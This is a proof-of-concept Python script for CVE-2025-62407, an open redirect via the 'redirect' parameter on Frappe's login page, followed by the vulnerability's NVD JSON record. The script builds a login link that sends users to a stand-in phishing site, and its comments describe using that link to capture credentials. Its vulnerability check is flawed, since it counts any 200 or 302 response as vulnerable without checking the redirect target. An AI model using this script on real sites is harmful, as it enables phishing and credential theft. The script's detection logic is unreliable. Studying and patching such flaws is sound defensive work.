CVE-2025-62407

# CVE-2025-62407 - Frappe Open Redirect PoC # Vulnerability: Open Redirect via 'redirect' parameter on login page # Affected: Frappe < 14.98.0 and < 15.83.0 import requests TARGET_URL = "https://victim-frappe-site.com" MALICIOUS_REDIRECT = "https://evil-site.com/phishing-page" # Step 1: Craft the malicious login URL with redirect parameter login_url = f"{TARGET_URL}/login?redirect={MALICIOUS_REDIRECT}" print(f"[*] Malicious login URL: {login_url}") # Step 2: Send request to verify the redirect parameter is accepted response = requests.get(login_url, allow_redirects=False) print(f"[*] Response Status: {response.status_code}") # Step 3: Check if the server processes the redirect parameter # In vulnerable versions, the redirect parameter is accepted without validation if response.status_code in [200, 302]: print("[+] Target appears to be vulnerable to open redirect") # After successful login, user would be redirected to MALICIOUS_REDIRECT else: print("[-] Target may not be vulnerable") # Example phishing scenario: # Attacker sends email: "Please login to your Frappe account: <login_url>" # User clicks link -> sees legitimate Frappe login page -> enters credentials # After login -> redirected to evil-site.com/phishing-page # Attacker captures credentials or performs further attacks

{"cve": {"id": "CVE-2025-62407", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:39.420", "lastModified": "2025-10-23T20:16:18.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe is a full-stack web application framework. Prior to 14.98.0 and 15.83.0, an open redirect was possible through the redirect argument on the login page, if a specific type of URL was passed in. This vulnerability is fixed in 14.98.0 and 15.83.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.98.0", "matchCriteriaId": "F4F7747E-5C71-4070-8FAA-3FF8F6C62A23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.83.0", "matchCriteriaId": "4394EBF1-E927-4968-A987-F2479B140041"}]}]}], "references": [{"url": "https://github.com/frappe/frappe/security/advisories/GHSA-j9jr-qrpj-g855", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}